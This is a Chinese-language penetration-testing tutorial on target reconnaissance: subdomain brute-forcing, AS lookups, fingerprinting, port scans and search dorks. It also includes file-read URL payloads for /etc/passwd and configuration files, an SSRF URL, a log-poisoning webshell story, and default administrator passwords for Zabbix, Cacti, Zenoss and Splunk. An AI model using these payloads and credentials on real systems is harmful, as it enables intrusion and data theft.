在自己日常檢測中以及觀察他人檢測思路發現前期收集信息具有很關鍵的作用,很多時候不需要對某種漏洞有很深的研究,如果前期收集了足夠多的目標,只需要檢測一些常見的高危漏洞即可有收獲
常用思路
1)通過子域名
如果存在域傳送這種漏洞是最好的,沒有的話一般就要暴破子域名了
我常用的軟件為dnsmap,基本用法
./dnsmap?target-domain.com?-w?你的域名字典?-r?要保存結果文件的絕對路徑
針對做了泛解析的域名可以使用-i?需忽略ip來避免誤報,如對域名xxx.com的暴破過程中不存在域名都解析到1.1.1.1上,則使用命令為
./dnsmap?xxx.com?-w?domain.txt?-i?1.1.1.1?-r?/tmp/result.txt
結果為如下格式:
?
其中默認編譯的dnsmap存在一個問題,解決方法與其他使用方法請參考
http://pan.baidu.com/s/1nt5HMw5
大家可以在默認字典的基礎上加一些如oa、zabbix、nagios、cacti、erp、sap、crm等等,不少企業都是這種命名方式
滲透的話一般會從oa,mail等重要業務網段尋找目標,如果發現有些管理后臺的域名為
xx.admin.xxx.com這種,則可繼續擴展,尋找admin.xxx.com下的三級域名
曾檢測某站時無意發現一個ntp.nb.xxx.com的域名,進而暴破nb.xxx.com這個域名,結果如下
?
其中zabbix.nb.xxx.com這個站點暴露到了外網,版本較低,使用zabbix的注入漏洞成功獲取權限
?
同時子域名也可通過搜索引擎語法site:xxx.com收集(不斷增加條件,可獲取的更多,如inurl,intitle等等)
2)AS號
Jwhois使用方法
yum?install?-y?jwhois
執行
whois?-h?asn.shadowserver.org?origin?1.1.1.1
可獲得ip所在企業的AS號
繼續執行
whois?-h?asn.shadowserver.org?prefix?as號
即可獲得該as號對應網段
注:一般只有大企業才會有as號,并且一個企業可能會有多個as號
3)DNS ?
4)spf記錄
?
如何判斷cdn?
如果誤把cdn的ip加到目標里會影響一些人工時間,如何判斷cdn?最簡單的方法是用多地ping功能
?
使用方法
./whatweb?1.1.1.1/24?--log-brief=output_file(詳細使用參考使用說明)
默認的話只識別80端口的,如果此時我們想識別下8080端口,再加上--url-suffix=”:8080”即可
可根據title,cms等信息尋找目標,一般把后臺或者存在已知漏洞的系統作為目標,同時可尋找nginx低版本存在解析漏洞的站點,受影響版本為0.5全版本,0.6全版本,0.7<=0.7.65,0.8<=0.8.37
附上一則實例:
在檢測某企業時,whatweb批量識別指紋發現存在一臺nginx版本比較低且存在解析漏洞的站點,首頁為空白頁,對目錄結構暴破發現.bash_history文件
?
操作歷史中發現有打包文件且放在web目錄下
?
下載打包文件,內容如下
?
其中發現有log文件,且log文件會記錄user-agent信息
?
使用firefox插件User?Agent?Switcher更改user-agent信息
?
一句話代碼寫入log文件后利用解析漏洞直接獲取webshell
?
詳細用法參考使用手冊,個人常用命令為(-P0參數視情況添加,如果沒有禁ping可以不加,提升速度)
./nmap?-sT?-sV?1.1.1.1/24?-P0?-oN?/tmp/port_result.txt?--open
Ip較少的情況下可以掃全端口以及一些基本信息
./nmap?-sT?-sV?-p?1-65535?1.1.1.1?-P0?-A
利用nmap可以發現一些非80/443/8080這種常見端口上的web以及一些容易出問題的端口如
873(rsync無驗證)/21(ftp匿名賬戶)/11211(memcache無驗證)/27017(mongodb無驗證)等,碰到不認識的服務別急著放棄,去exploit-db等站點搜一下是否存在已知漏洞吧,說不準直接找到個RCE呢(很多時候我也會在烏云search一下,搜到的話就是實際例子,看著更直白)
常用搜索語法為site:xxx.com?inurl:login
Inurl的值可以自由變換,常用的包括admin、manage或者使用intitle:找管理、登錄之類的關鍵字,有些站點出來的結果可能多數為同一站點下的誤報,比如博客類的,問問類的,可使用-來減少誤報,比如google中搜索site:baidu.com?inurl:login?-zhidao就可以在結果中去除zhidao相關的結果,百度可輸入
site:baidu.com?inurl:login?-site:zhidao.baidu.com
實例參考: WooYun: 對蘇寧易購一次完整的web檢測過程(多圖)
我們可以把容易出問題且危害比較高的常見路徑做成一個精簡的小字典,針對之前收集的域名去遍歷,比如/invoker/JMXInvokerServlet、wwwroot.zip這種,發現的話很大幾率可以搞到權限
這里列出幾個常見的系統利用方法
當前面的過程中發現后臺或者重要系統時,一般會進行如下幾種檢測
1)awvs綜合掃描(經常有意外發現) 2)目錄結構暴破 3)口令暴破(admin不行的時候,不一定是密碼不對,很多時候是用戶名不對,嘗試想到的可獲取用戶名的一切方法,如翻翻js、css文件,html源碼注釋內容,或者.svn目錄下的信息泄露等,密碼可針對系統名稱及域名等信息做一些變形加到字典中) 4)Html源碼、js等文件獲取信息(有些開發者會把一些管理地址以注釋形式放到html源碼中,管理的接口地址寫在js中,運氣好的話可以直接越權訪問) 5)參數值暴破(一些框架寫的后臺登陸頁面可能是這種格式xx.com/?c=login,日常可以收集一些常見的參數值,如index、main、upload、edit、adduser等、運氣好的話可以直接越權操作)
文件包含:
www.xxx.com/axis2/services/listServices 查看所有services
www.xxx.com/axis2/services/xxxxx?xsd=../conf/axis2.xml xxxxx替換任意服務均可,讀取axis2配置文件獲取后臺賬戶
www.xxx.com/axis2/axis2-admin/ 登陸管理后臺
后臺部署文件代碼執行:
使用metasploit
?
Resin
文件讀取:
http://www.xxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
?
也可以通過
http://www.xxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://1.1.1.1
實現SSRF
solr敏感信息泄漏
http://xxx.org:8080/solr/admin/file/?file=solrconfig.xml
搜索xml文件,找到data-import.xml
?
訪問http://xxx.org:8080/solr/admin/file/?file=data-import.xml獲取數據庫密碼
?
Hudson(jenkins類似)
Zenoss
Google關鍵字:intitle:"Zenoss?Login"
默認口令admin/zenoss
利用方法參考
WooYun: 從一個默認口令到youku和tudou內網(危害較大請盡快修復)
Zabbix
后臺:http://www.xxx.com/zabbix
默認密碼:admin/zabbix
Google:inurl:zabbix/dashboard.php
利用方法參考 WooYun: 應用匯zabbix運維不當導致任意命令執行。
另外這個zabbix注入的也很多都存在http://drops.wooyun.org/papers/680
Cacti
默認登陸路徑www.xxx.com/cacti/index.php
默認密碼admin/admin
利用方法參考 WooYun: cacti后臺登陸命令執行漏洞
Splunk
默認后臺地址:
http://xxx.com:8000/zh-CN/account/login?return_to=%2Fzh-CN%2F
?
默認賬戶admin/changeme??默認端口8000
?
管理器-應用-從文件安裝應用處可獲得shell
?
msf有利用模塊
exploit/multi/http/splunk_upload_app_exec
?
推薦兩篇烏云綜合性介紹文章
1.從烏云看運維安全那點事兒
http://drops.wooyun.org/papers/410
http://drops.wooyun.org/tips/604